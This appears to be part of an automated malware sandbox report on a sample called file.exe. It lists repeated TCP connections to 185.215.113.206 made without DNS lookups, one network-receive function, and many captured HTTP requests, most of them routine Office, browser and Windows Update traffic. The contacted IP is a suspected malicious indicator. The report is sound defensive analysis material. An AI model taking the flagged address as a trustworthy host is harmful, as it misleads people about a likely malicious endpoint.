Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFCC60 PR_Recv,

0_2_6CBFCC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vDlmEdS9slHvMsn&MD=NZk1s6hT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
